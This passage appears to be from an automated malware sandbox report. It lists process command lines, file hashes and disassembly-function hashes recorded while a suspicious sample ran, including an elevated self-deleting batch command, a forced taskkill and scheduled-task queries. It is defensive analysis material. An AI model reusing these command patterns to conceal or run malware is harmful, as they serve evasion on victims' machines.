MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:27:03
Start date:	16/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff73e180000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:27:03
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:27:04
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\p.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:27:04
Start date:	16/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks.exe" /query /TN WinTask
Imagebase:	0x7ff73e180000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:27:04
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:27:04
Start date:	16/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1980,i,12318035346667771544,14619284953737115548,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:27:06
Start date:	16/04/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmpB2A0.tmp.bat
Imagebase:	0x7ff772f40000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	14:27:06
Start date:	16/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	14:27:06
Start date:	16/04/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff64cdc0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	14:27:06
Start date:	16/04/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	TaskKill /F /IM 6044
Imagebase:	0x7ff7c8d70000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	14:27:06
Start date:	16/04/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	Timeout /T 2 /Nobreak
Imagebase:	0x7ff78af40000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F19380 Relevance: 2.3, Strings: 1, Instructions: 1008
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{&, xrefs: 00007FF848F1B73F

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID: {&
API String ID: 0-4210536796
Opcode ID: 8a46e0915917975a0fe04145a97c6279041c0b6ee6443fe3403f7b26511df8a5
Instruction ID: ef9399cfe3fd1223d7f366789cfc1b520c48b8e256667ffbece8d8463f498d97
Opcode Fuzzy Hash: 8a46e0915917975a0fe04145a97c6279041c0b6ee6443fe3403f7b26511df8a5
Instruction Fuzzy Hash: 92627E3062CA098FD759EB28C484976B3E2FF95344F6446BDD08BC7696DA25F842CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1A18D Relevance: .8, Instructions: 751
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39bb3cda16972d7d6ae07a19689e726bfbd40ca3f39ab27775b18e8b3426fe7b
Instruction ID: bb87170040127703653f597e516e2d3adf6858a121581cf8985cac96066fab47
Opcode Fuzzy Hash: 39bb3cda16972d7d6ae07a19689e726bfbd40ca3f39ab27775b18e8b3426fe7b
Instruction Fuzzy Hash: CB326730A1CA454FE74DEB2D8885535BBD2FF99344B5482BEC04ACB2DBDE25EC428784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F15776 Relevance: .5, Instructions: 472
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7944fa05b05cf6a3428c19c08aa05b6625ac03502fc1abfb0831f0c8e48a2d6e
Instruction ID: a32328735ae33fed3ac589484593cb5f50d13a3f6ceb64b135ae51c8b55ca603
Opcode Fuzzy Hash: 7944fa05b05cf6a3428c19c08aa05b6625ac03502fc1abfb0831f0c8e48a2d6e
Instruction Fuzzy Hash: 0FF1943091CA4D8FEBA8EF28C8557E937E1FF58350F14426EE84DC7291DB34A9458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F16522 Relevance: .5, Instructions: 457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f6bdf51c10b2c454b526b23608fdaa6757f62b41cbe5b53d47c1f1820c89699
Instruction ID: 29c6f243219a73fa9145f607116f6822deb47509039bf85a9c38daf7e61ae75a
Opcode Fuzzy Hash: 2f6bdf51c10b2c454b526b23608fdaa6757f62b41cbe5b53d47c1f1820c89699
Instruction Fuzzy Hash: 72E1A17090CA4E8FEBA8EF28C8557E977E1EF54350F14426EE84DC7291DF78A9418B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1CDFB Relevance: .4, Instructions: 389
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b62a277dae221521991029aa7c0f900376a3e42acaf49f1c8bf923cbc135e48
Instruction ID: adcdfeef5eee45e92c0e2ad9f1df8792bda02991a719d19102618a4876f53c63
Opcode Fuzzy Hash: 2b62a277dae221521991029aa7c0f900376a3e42acaf49f1c8bf923cbc135e48
Instruction Fuzzy Hash: 60C10B3291E2925FE755B77868551F97BA0EF523B8F0842BBD0CD8E0D3DE1C244683A9

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F21EB3 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53f43a92854e8e853683a5224b3fa86a52749135821fdd5ce7f0a4a3a91fb8e3
Instruction ID: 93cb79b3e26020ba729d3c8e7d0b4ba9a45f92a77559965f01911aa0623ad0d0
Opcode Fuzzy Hash: 53f43a92854e8e853683a5224b3fa86a52749135821fdd5ce7f0a4a3a91fb8e3
Instruction Fuzzy Hash: 5C414A31A0D7890FD31E9B7888651757FA2EB96210B1582FFD086CB1E7DD285846C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F20623 Relevance: 1.6, APIs: 1, Instructions: 149
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 00007FF848F20711

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d2a43ea321a13f1a1b899da7228b3944da34c94ef2ef955b87d413952a32a008
Instruction ID: e6ddef4e7333b8d05eeda49a87e6399f1fee7eeb279745256fa3ee36800ea63d
Opcode Fuzzy Hash: d2a43ea321a13f1a1b899da7228b3944da34c94ef2ef955b87d413952a32a008
Instruction Fuzzy Hash: 5441153190D7888FDB09EB6898556E87FF1EF57320F0842AFC089C71A3DB656856CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1ED62 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendARP.IPHLPAPI ref: 00007FF848F54098

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID: Send
String ID:
API String ID: 121738739-0
Opcode ID: 5ab7e799d2cc2804622ef46ca81d9ebb7b182e7655b1696fa286769463201a24
Instruction ID: 0d604568d20536c4027e3a941e1ba898d03206682dc851b1330991838595b775
Opcode Fuzzy Hash: 5ab7e799d2cc2804622ef46ca81d9ebb7b182e7655b1696fa286769463201a24
Instruction Fuzzy Hash: 1D31B27191CA1C9FDB18EF98D84A6F9B7F1FB99311F10422ED04AD3691CB70A845CB85

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF848F19318 Relevance: .4, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154dc052d9d4338667ec383c3997eda463bbafd544304801c0ac06e3e035773e
Instruction ID: 3e77486e63c831e6c23dcf495db9f0786c6f0a2c3746adc13f7ce2db1ea716b4
Opcode Fuzzy Hash: 154dc052d9d4338667ec383c3997eda463bbafd544304801c0ac06e3e035773e
Instruction Fuzzy Hash: 0AB17B31A1DB894FD329BB6898845B17BD0EF56350F1C01BED48AC71D3EA19AC47C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F20862 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1dc1ecb448fbaa19759b22e848fe7b19fa4a6b209bc8e3904bd8c43bf7c2a26
Instruction ID: 33102955be49743aa2300fd116e9e00647c7a2e20eb5d33aab465ad943ffae5f
Opcode Fuzzy Hash: e1dc1ecb448fbaa19759b22e848fe7b19fa4a6b209bc8e3904bd8c43bf7c2a26
Instruction Fuzzy Hash: A751136290D7C10FD31A97649C764B17FA5EF57224B1A81EFC4C6CB1E3EA086847C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F20754 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2151403076.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_HTZ4az17lj.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a2f1b655097638bf3975aedc81962757d97b7c5380a78c57b7b316a4ea4f19e
Instruction ID: 8feec4aded81eff16f74c3c4a301ed2352b0bb4cf583151acb17825c9a2e41e1
Opcode Fuzzy Hash: 8a2f1b655097638bf3975aedc81962757d97b7c5380a78c57b7b316a4ea4f19e
Instruction Fuzzy Hash: 0B317972D1D6C90FE31DAB384C1A5B6BB95EF86650F0442BED4C7C71D3DE18A4078295

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: uuhbr0xg.h20.exePID: 7832, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848F15776 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f17a46616647211701a267c3afeadc247fdf645927917a54104cb6497caf3b7e
Instruction ID: ee6b1e6e955b1e87d36c71a1b66cdafab64352888a6ae21c002f2633121519b2
Opcode Fuzzy Hash: f17a46616647211701a267c3afeadc247fdf645927917a54104cb6497caf3b7e
Instruction Fuzzy Hash: 85F1963091CA4D8FEBA8EF28C8557E977E1FF58350F14426ED84DC7291DB34A9458B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F16522 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb15cbd315066622afaa22bcf3b065b598def7e68e066f78e09741d07753c3a0
Instruction ID: e46580d4f18c5155b8bac2d2f6817abff8c6253d29a81f9009ed6f5b03259cb6
Opcode Fuzzy Hash: eb15cbd315066622afaa22bcf3b065b598def7e68e066f78e09741d07753c3a0
Instruction Fuzzy Hash: 5FE1923090CA4E8FEBA8EF28C8557E977E1EF54350F14426EE84DC7291DF78A9458B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F12C6C Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bef7bfb3c4e6255a67762b15c2771a73e532443e6a6fc1529492cd5e856cd24
Instruction ID: 64ec697f4bcbcac83b1227d90ee40d54d65b289d72cda8bcd2ed96606166b9c5
Opcode Fuzzy Hash: 9bef7bfb3c4e6255a67762b15c2771a73e532443e6a6fc1529492cd5e856cd24
Instruction Fuzzy Hash: 68516231908A5C8FDB58EB58D845BE9BBF1FB59310F0082AAD44DE3252DF74A985CF81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1073D Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf8fb2b32e4ca5431d91e0cffd98aefb58fa066de6d0bf4b43288e321b1679c
Instruction ID: 7a08795fb92037d38950f8dc01d7fd2dab12e2ad94d7ee8085b316379304d950
Opcode Fuzzy Hash: 2bf8fb2b32e4ca5431d91e0cffd98aefb58fa066de6d0bf4b43288e321b1679c
Instruction Fuzzy Hash: 6651A376D0E6D69FE712B7382C651E57FA0FFA2695F4900F7C4C88B093DA181C0A8799

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1722D Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e35bbd139b7eb4e80adec97c6576c536dcca2d60e0360c3d9b2056d70cc3dc
Instruction ID: 4dbb436c5e4fb2c81e77b2be56675878cab370d4057f9d6679b5d6319a5e66ae
Opcode Fuzzy Hash: b8e35bbd139b7eb4e80adec97c6576c536dcca2d60e0360c3d9b2056d70cc3dc
Instruction Fuzzy Hash: F6511D3190EA8A5FE756FB7818120FA7BE0DF46340F4405FAE44DC72D2DE286802C395

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11D95 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08d91a9a6259498678282e831c22ea47e28ea453291af131d7224a39fdceb1ed
Instruction ID: c5111f8cb3ebc38ac455a7727f240f57a1f1478b7edadbad009817aea8506e23
Opcode Fuzzy Hash: 08d91a9a6259498678282e831c22ea47e28ea453291af131d7224a39fdceb1ed
Instruction Fuzzy Hash: 5B51E331A0EA895FE386F77898562B97BE1EF86340F0404FAD449CB1E3DE295C45C345

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17569 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc18889059ef59da981a3dca680e9f5a1668d263407e06d5e852fae6bf1efbb3
Instruction ID: 5fc38c9cd41345a99b97e061c29888ddedc45c80ef2e47464c921cd449964fd6
Opcode Fuzzy Hash: cc18889059ef59da981a3dca680e9f5a1668d263407e06d5e852fae6bf1efbb3
Instruction Fuzzy Hash: 9251C171D1EA495FD705EB6898569EDBBF0EF4A310F0401BAE04DDB292DB386C42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F115C2 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a9b1f964f09cda162c918b9a87617f26cb7d142437061387cd2c33bdf174ce
Instruction ID: 12931644c691d1964674aef9baf337f18d74ba24830b2ece4d6e5887d35e0b7c
Opcode Fuzzy Hash: d1a9b1f964f09cda162c918b9a87617f26cb7d142437061387cd2c33bdf174ce
Instruction Fuzzy Hash: BE41F221B1DA851FE745AB7C446E2797BD2EF99345F0801BDE08EC72D3DE285C468346

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F115E0 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d784250a744cec66d2086fb8b175b32942a40ad394d6deda56d00e261a9c59d3
Instruction ID: d36af1d0982978ee1e7f2a8095c1b328149b3297edf1fad9bb52201f5dfd790f
Opcode Fuzzy Hash: d784250a744cec66d2086fb8b175b32942a40ad394d6deda56d00e261a9c59d3
Instruction Fuzzy Hash: 5941C121B1D9851FE745AB7C446E67D6BD2EF99341F0405BDE08EC32D3DE286C468346

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F17F30 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde82fcb1ad0bc284e89f0b68228a19d24c7b31f558eaa70d523a2269573a496
Instruction ID: 7965ee93bf2b368e5e5cdd387c605e6f5654dcd03fa2cdff902a842bf642b465
Opcode Fuzzy Hash: fde82fcb1ad0bc284e89f0b68228a19d24c7b31f558eaa70d523a2269573a496
Instruction Fuzzy Hash: 57310531A2DA8A1FE34AE77844695B2BBE1EF5A341F0400BAD08DC71D7EE586C45C391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11628 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2da1bb67b1abe9689f65b185cf9fc17d2e97f3d357364372dfaccbcef39e47b5
Instruction ID: c481698be602a7f4bb9498411fc9f7b0469138e4d11a988e3fde987d4fc9a2d4
Opcode Fuzzy Hash: 2da1bb67b1abe9689f65b185cf9fc17d2e97f3d357364372dfaccbcef39e47b5
Instruction Fuzzy Hash: 01316D21B199455FE749EB6C906937C77D2EF9C345F040179E04EC32D3DE28AC468746

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11B15 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 411f049fa4f0b638929bd4420403e4ed321631b7a6f2b7d13da9028d96e7a1bf
Instruction ID: 1f91ba622e1a227d80d48470bba86b9d9c9507794d753043e5c1581314eb9cc6
Opcode Fuzzy Hash: 411f049fa4f0b638929bd4420403e4ed321631b7a6f2b7d13da9028d96e7a1bf
Instruction Fuzzy Hash: 55318D2044FAD16FE302B77888B59E67FA4DE8720574804E9E0DACB4A3CA0D2807D391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F11C0E Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f8df9460087d3a1c25dc6e6fd0f6453579e986c3e788123642a702575a10f98
Instruction ID: d961a920b530713037e27f2c35843901b7b6299d33c2faf6c5df1875596d2e51
Opcode Fuzzy Hash: 3f8df9460087d3a1c25dc6e6fd0f6453579e986c3e788123642a702575a10f98
Instruction Fuzzy Hash: 6731353050EB889FD32AEB7988654B57FE4EF1731070804EEE086CB1A3D614AC42C755

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F170F7 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1d1910446cc31929269eeed00204dbb28e257b20ee71ca7002893ca49a6b61e
Instruction ID: ae4ee5daf33a1706252c4607e775def377b3a68210b44935811f6b990dee126a
Opcode Fuzzy Hash: f1d1910446cc31929269eeed00204dbb28e257b20ee71ca7002893ca49a6b61e
Instruction Fuzzy Hash: 7231D031E0EA4A4FE799F77854562B9BAD1EF56380F4404BAD04DD72E2DF185C418346

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1741E Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429b1424b7e08b15af0bde2ee396e76b52e353e1a8f5cb3265bab50207bf779a
Instruction ID: 35746cc200c4f55e8e0d7c59e4a6d29546ff8564e21d2b47f90c8c76866b3ac7
Opcode Fuzzy Hash: 429b1424b7e08b15af0bde2ee396e76b52e353e1a8f5cb3265bab50207bf779a
Instruction Fuzzy Hash: 0631063554EA895FD701EB74DC514DA7BE0EF8A360B0941F6E088CB2A3CA2CEC52C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF848F1744F Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2104685138.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff848f10000_uuhbr0xg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b6fdd3d52f5c69b59d0805c8128ce69c25b711e14a67db37220946b0b9958c
Instruction ID: 0b89bbd6fa8b019d65ee7f3f9c8badfb37f0ad6ee39c18bd03b0d7687c77589a
Opcode Fuzzy Hash: c8b6fdd3d52f5c69b59d0805c8128ce69c25b711e14a67db37220946b0b9958c
Instruction Fuzzy Hash: 8A31A23558E6955FD3029B74DC659E67FF1EF8B220B0D81E6E084CB1A3C62CA847C751

Uniqueness

